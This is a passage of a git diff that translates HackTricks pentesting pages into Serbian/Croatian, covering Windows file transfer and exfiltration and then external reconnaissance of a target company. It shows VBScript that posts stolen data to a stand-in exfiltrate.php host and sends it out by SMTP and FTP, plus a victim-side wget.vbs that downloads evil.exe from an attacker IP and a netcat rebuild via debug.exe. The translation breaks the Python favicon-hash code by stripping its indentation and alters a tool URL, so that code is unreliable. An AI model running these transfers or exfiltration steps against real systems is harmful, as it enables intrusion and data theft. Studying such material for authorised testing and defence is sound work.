"http://www.example.com/exfiltrate.php", False +objXMLHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" +objXMLHTTP.send "data=exfiltrated_data" +``` + +2. **SMTP poruke**: VBScript može koristiti SMTP protokol za slanje podataka putem e-pošte. Ovo se može postići korišćenjem `CDO.Message` objekta za slanje poruka na određenu e-adresu. + +```vbscript +Set objMessage = CreateObject("CDO.Message") +objMessage.Subject = "Exfiltrated Data" +objMessage.From = "sender@example.com" +objMessage.To = "receiver@example.com" +objMessage.TextBody = "Exfiltrated data: exfiltrated_data" +objMessage.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 +objMessage.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.example.com" +objMessage.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25 +objMessage.Configuration.Fields.Update +objMessage.Send +``` + +3. **FTP prenos**: VBScript može koristiti FTP protokol za prenos podataka na udaljeni FTP server. Ovo se može postići korišćenjem `MSINET.OCX` kontrola za uspostavljanje FTP veze i prenos podataka. + +```vbscript +Set objFTP = CreateObject("InetCtls.Inet") +objFTP.Protocol = "ftp" +objFTP.RemoteHost = "ftp.example.com" +objFTP.UserName = "username" +objFTP.Password = "password" +objFTP.Execute "Put local_file remote_file" +``` + +4. **Datoteke na mreži**: VBScript može koristiti mrežne resurse za prenos podataka na udaljeni poslužitelj. Ovo se može postići kopiranjem datoteka na mreži na određenu lokaciju. + +```vbscript +Set objFSO = CreateObject("Scripting.FileSystemObject") +objFSO.CopyFile "local_file", "\\remote_server\share\remote_file" +``` + +### Mere zaštite + +Da biste se zaštitili od zlonamernog korišćenja VBScripta za eksfiltraciju podataka, preporučuje se preduzimanje sledećih mera: + +- Ograničite pristup VBScriptu samo pouzdanim korisnicima i aplikacijama. +- Redovno ažurirajte operativni sistem i VBScript interpreter kako biste ispravili poznate sigurnosne propuste. +- Koristite sigurnosne alate i softver za otkrivanje i sprečavanje zlonamernih aktivnosti. +- Pratite i analizirajte mrežni saobraćaj kako biste identifikovali sumnjive aktivnosti. +- Edukujte korisnike o sigurnosnim rizicima i praksama zaštite podataka. ```bash Attacker> python -m SimpleHTTPServer 80 ``` - -**Victim** - +**Žrtva** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs @@ -373,18 +739,15 @@ echo ts.Close >> wget.vbs ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` - ## Debug.exe -The `debug.exe` program not only allows inspection of binaries but also has the **capability to rebuild them from hex**. This means that by providing an hex of a binary, `debug.exe` can generate the binary file. However, it's important to note that debug.exe has a **limitation of assembling files up to 64 kb in size**. - +Program `debug.exe` ne samo da omogućava inspekciju binarnih fajlova, već ima i mogućnost da ih ponovo izgradi iz heksadecimalnog formata. To znači da `debug.exe` može generisati binarni fajl na osnovu heksadecimalnog zapisa. Međutim, važno je napomenuti da `debug.exe` ima ograničenje da može sastaviti fajlove veličine do 64 kb. ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` - -Then copy-paste the text into the windows-shell and a file called nc.exe will be created. +Zatim kopirajte i zalijepite tekst u Windows Shell i kreirat će se datoteka nazvana nc.exe. * [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) @@ -394,21 +757,21 @@ Then copy-paste the text into the windows-shell and a file called nc.exe will be
-Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today. +Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivne pretrage prijetnji, pronalazi probleme u cijelom vašem tehnološkom skupu, od API-ja do web aplikacija i oblak sustava. [**Isprobajte besplatno**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) danas. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakiranje AWS-a od nule do heroja s htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite vidjeti **oglašavanje vaše tvrtke u HackTricks-u** ili **preuzeti HackTricks u PDF-u**, provjerite [**PLANOVE PRETPLATE**](https://github.com/sponsors/carlospolop)! +* Nabavite [**službeni PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podijelite svoje trikove hakiranja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorije.
diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md index 2768e4307..57993f5ae 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,60 +1,57 @@ -# External Recon Methodology +# Metodologija spoljašnjeg istraživanja
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Bug bounty savet**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -## Assets discoveries +## Otkrivanje resursa -> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns. +> Rečeno vam je da sve što pripada određenoj kompaniji spada u opseg, i želite da saznate šta ta kompanija zapravo poseduje. -The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to: +Cilj ove faze je da se dobiju sve **kompanije koje pripadaju glavnoj kompaniji**, a zatim i svi **resursi** ovih kompanija. Da bismo to postigli, uradićemo sledeće: -1. Find the acquisitions of the main company, this will give us the companies inside the scope. -2. Find the ASN (if any) of each company, this will give us the IP ranges owned by each company -3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively) -4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively). +1. Pronaći akvizicije glavne kompanije, to će nam dati kompanije koje spadaju u opseg. +2. Pronaći ASN (ako postoji) svake kompanije, to će nam dati IP opsege koje svaka kompanija poseduje. +3. Koristiti pretragu obrnutog whois-a da bismo pronašli druge unose (nazive organizacija, domene...) povezane sa prvom (ovo se može raditi rekurzivno). +4. Koristiti druge tehnike poput shodan `org` i `ssl` filtera da bismo pronašli druge resurse (tri trick se može raditi rekurzivno). -### **Acquisitions** +### **Akvizicije** -First of all, we need to know which **other companies are owned by the main company**.\ -One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\ -Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**. +Prvo, trebamo znati koje **druge kompanije pripadaju glavnoj kompaniji**.\ +Jedna opcija je posetiti [https://www.crunchbase.com/](https://www.crunchbase.com), **pretražiti** glavnu kompaniju i **kliknuti** na "**akvizicije**". Tamo ćete videti druge kompanije koje je glavna kompanija akvizirala.\ +Druga opcija je posetiti **Wikipedia** stranicu glavne kompanije i pretražiti **akvizicije**. -> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. +> Ok, do ovog trenutka trebali biste znati sve kompanije koje spadaju u opseg. Hajde da saznamo kako pronaći njihove resurse. -### **ASNs** +### **ASN-ovi** -An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\ -An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. - -It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.\ -You can **search** by company **name**, by **IP** or by **domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(North America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latin America),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Anyway, probably all the** useful information **(IP ranges and Whois)** appears already in the first link. +Autonomni sistemski broj (**ASN**) je **jedinstven broj** dodeljen autonomnom sistemu (AS) od strane **Internet Assigned Numbers Authority (IANA)**.\ +AS se sastoji od **blokova** IP adresa koji imaju jasno definisanu politiku za pristupanje spoljnim mrežama i upravljaju se od strane jedne organizacije, ali mogu biti sastavljeni od nekoliko operatera. +Interesantno je saznati da li **kompanija ima dodeljen ASN** kako bismo pronašli njene **IP opsege**. Bilo bi korisno izvršiti **test ranjivosti** na sve **hostove** koji spadaju u **opseg** i potražiti domene unutar tih IP adresa.\ +Možete **pretraživati** po imenu kompanije, po **IP** adresi ili po **domeni** na [**https://bgp.he.net/**](https://bgp.he.net)**.**\ +**Zavisno od regiona u kojem se nalazi kompanija, ovi linkovi mogu biti korisni za prikupljanje više podataka:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Severna Amerika),** [**APNIC**](https://www.apnic.net) **(Azija),** [**LACNIC**](https://www.lacnic.net) **(Latinska Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Evropa). U svakom slučaju, verovatno se svi** korisni podaci **(IP opsezi i Whois)** već pojavljuju na prvom linku. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` - -Also, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomain enumeration automatically aggregates and summarizes ASNs at the end of the scan. - +Takođe, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**-ova** enumeracija poddomena automatski agregira i sažima ASN-ove na kraju skeniranja. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -71,62 +68,59 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` +Možete pronaći IP opsege organizacije koristeći [http://asnlookup.com/](http://asnlookup.com) (ima besplatnu API).\ +Možete pronaći IP i ASN domena koristeći [http://ipv4info.com/](http://ipv4info.com). -You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\ -You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com). +### **Traženje ranjivosti** -### **Looking for vulnerabilities** +U ovom trenutku znamo **sve resurse unutar opsega**, pa ako vam je dozvoljeno, možete pokrenuti neki **skener ranjivosti** (Nessus, OpenVAS) na svim hostovima.\ +Takođe, možete pokrenuti neke [**port skenove**](../pentesting-network/#discovering-hosts-from-the-outside) **ili koristiti usluge kao što je** shodan **da biste pronašli** otvorene portove **i, u zavisnosti od onoga što pronađete, trebali biste** pogledati u ovoj knjizi kako biste testirali nekoliko mogućih pokrenutih usluga.\ +**Takođe, vredno je pomenuti da možete pripremiti neke** liste podrazumevanih korisničkih imena **i** lozinki **i pokušati** probiti usluge sa [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). -At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ -Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ -**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +## Domeni -## Domains +> Znamo sve kompanije unutar opsega i njihove resurse, vreme je da pronađemo domene unutar opsega. -> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. +_Molimo, imajte na umu da u sledećim predloženim tehnikama takođe možete pronaći poddomene i te informacije ne treba potcenjivati._ -_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._ - -First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. +Prvo biste trebali potražiti **glavni domen(e)** svake kompanije. Na primer, za _Tesla Inc._ to će biti _tesla.com_. ### **Reverse DNS** -As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) - +Kada ste pronašli sve IP opsege domena, možete pokušati izvršiti **obrnute DNS upite** na tim **IP adresama kako biste pronašli više domena unutar opsega**. Pokušajte koristiti neki DNS server žrtve ili neki dobro poznati DNS server (1.1.1.1, 8.8.8.8) ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` +Da bi ovo funkcionisalo, administrator mora ručno omogućiti PTR.\ +Takođe možete koristiti online alat za ove informacije: [http://ptrarchive.com/](http://ptrarchive.com) -For this to work, the administrator has to enable manually the PTR.\ -You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) +### **Reverse Whois (petlja)** -### **Reverse Whois (loop)** +Unutar **whois** informacija možete pronaći mnogo interesantnih **podataka** kao što su **ime organizacije**, **adresa**, **emailovi**, telefonski brojevi... Ali ono što je još interesantnije je da možete pronaći **više resursa povezanih sa kompanijom** ako izvršite **pretragu reverse whois-om koristeći bilo koja od tih polja** (na primer, drugi whois registri gde se isti email pojavljuje).\ +Možete koristiti online alate kao što su: -Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\ -You can use online tools like: +* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Besplatno** +* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Besplatno** +* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Besplatno** +* [https://www.whoxy.com/](https://www.whoxy.com) - **Besplatno** web, nije besplatno API. +* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Nije besplatno +* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nije besplatno (samo **100 besplatnih** pretraga) +* [https://www.domainiq.com/](https://www.domainiq.com) - Nije besplatno -* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free** -* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free** -* [https://www.reversewhois.io/](https://www.reversewhois.io) - **Free** -* [https://www.whoxy.com/](https://www.whoxy.com) - **Free** web, not free API. -* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Not free -* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free (only **100 free** searches) -* [https://www.domainiq.com/](https://www.domainiq.com) - Not Free +Možete automatizovati ovaj zadatak koristeći [**DomLink** ](https://github.com/vysecurity/DomLink)(zahteva whoxy API ključ).\ +Takođe možete izvršiti automatsko otkrivanje reverse whois-a sa [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` -You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\ -You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` +**Imajte na umu da možete koristiti ovu tehniku da biste otkrili više domena svaki put kada pronađete novu domenu.** -**Note that you can use this technique to discover more domain names every time you find a new domain.** +### **Pratitelji** -### **Trackers** +Ako pronađete **isti ID istog pratioca** na 2 različite stranice, možete pretpostaviti da **obe stranice** upravlja **isti tim**.\ +Na primer, ako vidite isti **Google Analytics ID** ili isti **Adsense ID** na nekoliko stranica. -If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ -For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. - -There are some pages and tools that let you search by these trackers and more: +Postoje neke stranice i alati koji vam omogućavaju pretragu po ovim pratiocima i još mnogo toga: * [**Udon**](https://github.com/dhn/udon) * [**BuiltWith**](https://builtwith.com) @@ -136,106 +130,95 @@ There are some pages and tools that let you search by these trackers and more: ### **Favicon** -Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: - +Da li ste znali da možemo pronaći povezane domene i poddomene našeg cilja tako što ćemo tražiti isti hash ikone favicona? To je upravo ono što alat [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) napravljen od strane [@m4ll0k2](https://twitter.com/m4ll0k2) radi. Evo kako ga koristiti: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` +![favihash - otkrijte domene sa istim hešom ikone favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) - -Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target. - -Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**: +Jednostavno rečeno, favihash će nam omogućiti da otkrijemo domene koje imaju isti heš ikone favicon kao naš cilj. +Osim toga, možete takođe pretraživati tehnologije koristeći heš favicon-a kako je objašnjeno u [**ovom blog postu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). To znači da ako znate **heš favicon-a ranjive verzije web tehnologije**, možete pretražiti da li se nalazi na shodan-u i **pronaći više ranjivih mesta**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` - -This is how you can **calculate the favicon hash** of a web: - +Ovako možete **izračunati heš favicona** veb stranice: ```python import mmh3 import requests import codecs def fav_hash(url): - response = requests.get(url) - favicon = codecs.encode(response.content,"base64") - fhash = mmh3.hash(favicon) - print(f"{url} : {fhash}") - return fhash +response = requests.get(url) +favicon = codecs.encode(response.content,"base64") +fhash = mmh3.hash(favicon) +print(f"{url} : {fhash}") +return fhash ``` +### **Autorsko pravo / Unikatni niz** -### **Copyright / Uniq string** +Pretražite unutar web stranica **nizove koji se mogu deliti između različitih web stranica u istoj organizaciji**. Niz koji predstavlja **autorsko pravo** može biti dobar primer. Zatim pretražite taj niz na **Google-u**, u drugim **pregledačima** ili čak na **Shodan-u**: `shodan search http.html:"Niz autorskog prava"` -Search inside the web pages **strings that could be shared across different webs in the same organisation**. The **copyright string** could be a good example. Then search for that string in **google**, in other **browsers** or even in **shodan**: `shodan search http.html:"Copyright string"` - -### **CRT Time** - -It's common to have a cron job such as +### **CRT vreme** +Uobičajeno je imati cron posao kao što je ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` +Da biste obnovili sve sertifikate domena na serveru. To znači da čak i ako CA koji se koristi za ovo ne postavlja vreme kada je generisan u vremenskom periodu važnosti, moguće je **pronaći domene koje pripadaju istoj kompaniji u logovima transparentnosti sertifikata**.\ +Pogledajte ovaj [**članak za više informacija**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). -to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\ -Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). +### **Pasivno preuzimanje** -### **Passive Takeover** +Izgleda da je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pripadaju provajderima oblaka i u nekom trenutku **izgube tu IP adresu, ali zaborave da uklone DNS zapis**. Stoga, samo **pokretanjem virtuelne mašine** u oblaku (kao što je Digital Ocean), zapravo ćete **preuzeti neke poddomene**. -Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**. +[**Ovaj post**](https://kmsec.uk/blog/passive-takeover/) objašnjava priču o tome i predlaže skriptu koja **pokreće virtuelnu mašinu u DigitalOcean-u**, **dobija** IPv4 **nove mašine** i **pretražuje Virustotal za poddomene** koje na nju upućuju. -[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it. +### **Drugi načini** -### **Other ways** - -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**Imajte na umu da možete koristiti ovu tehniku da biste otkrili više naziva domena svaki put kada pronađete novu domenu.** **Shodan** -As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate. +Kako već znate ime organizacije koja je vlasnik IP prostora, možete pretraživati po tim podacima u Shodan-u koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu. -You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Možete pristupiti **TLS sertifikatu** glavne veb stranice, dobiti **ime organizacije** i zatim pretražiti to ime unutar **TLS sertifikata** svih veb stranica poznatih **Shodan-u** sa filterom: `ssl:"Tesla Motors"` ili koristiti alat kao što je [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). **Assetfinder** -[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder) je alat koji traži **povezane domene** sa glavnim domenom i **poddomene** od njih, prilično neverovatno. -### **Looking for vulnerabilities** +### **Traženje ranjivosti** -Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. +Proverite da li postoji [preuzimanje domena](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Možda neka kompanija **koristi neki domen**, ali su **izgubili vlasništvo** nad njim. Samo ga registrujte (ako je dovoljno jeftin) i obavestite kompaniju. -If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ -_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ +Ako pronađete bilo koji **domen sa drugačijom IP adresom** od onih koje ste već pronašli u otkrivanju resursa, trebali biste izvršiti **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje porta**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. Zavisno od toga koje usluge se izvršavaju, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\ +Imajte na umu da se ponekad domen nalazi na IP adresi kojom ne upravlja klijent, pa nije u opsegu, budite oprezni. \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Savet za bug bounty**: **Prijavite se** za **Intigriti**, premium **platformu za bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas i počnite da zarađujete nagrade do **100.000 dolara**! {% embed url="https://go.intigriti.com/hacktricks" %} -## Subdomains +## Poddomeni -> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies. +> Znamo sve kompanije u opsegu, sve resurse svake kompanije i sve domene povezane sa kompanijama. -It's time to find all the possible subdomains of each found domain. +Vreme je da pronađemo sve moguće poddomene svakog pronađenog domena. ### **DNS** -Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it). - +Pokušajmo da dobijemo **poddomene** iz **DNS** zapisa. Takođe bismo trebali pokušati sa **Zone Transferom** (Ako je ranjiv, trebali biste to prijaviti). ```bash dnsrecon -a -d tesla.com ``` - ### **OSINT** -The fastest way to obtain a lot of subdomains is search in external sources. The most used **tools** are the following ones (for better results configure the API keys): +Najbrži način da se dobije veliki broj poddomena je pretraživanje eksternih izvora. Najčešće **alatke** koje se koriste su sledeće (za bolje rezultate konfigurišite API ključeve): * [**BBOT**](https://github.com/blacklanternsecurity/bbot) - ```bash # subdomains bbot -t tesla.com -f subdomain-enum @@ -246,108 +229,80 @@ bbot -t tesla.com -f subdomain-enum -rf passive # subdomains + port scan + web screenshots bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o . ``` - * [**Amass**](https://github.com/OWASP/Amass) - ```bash amass enum [-active] [-ip] -d tesla.com amass enum -d tesla.com | grep tesla.com # To just list subdomains ``` - * [**subfinder**](https://github.com/projectdiscovery/subfinder) - ```bash # Subfinder, use -silent to only have subdomains in the output ./subfinder-linux-amd64 -d tesla.com [-silent] ``` - * [**findomain**](https://github.com/Edu4rdSHL/findomain/) - ```bash # findomain, use -silent to only have subdomains in the output ./findomain-linux -t tesla.com [--quiet] ``` - -* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us) - +* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/sr-latn) ```bash python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run ``` - * [**assetfinder**](https://github.com/tomnomnom/assetfinder) - ```bash assetfinder --subs-only ``` - * [**Sudomy**](https://github.com/Screetsec/Sudomy) - ```bash # It requires that you create a sudomy.api file with API keys sudomy -d 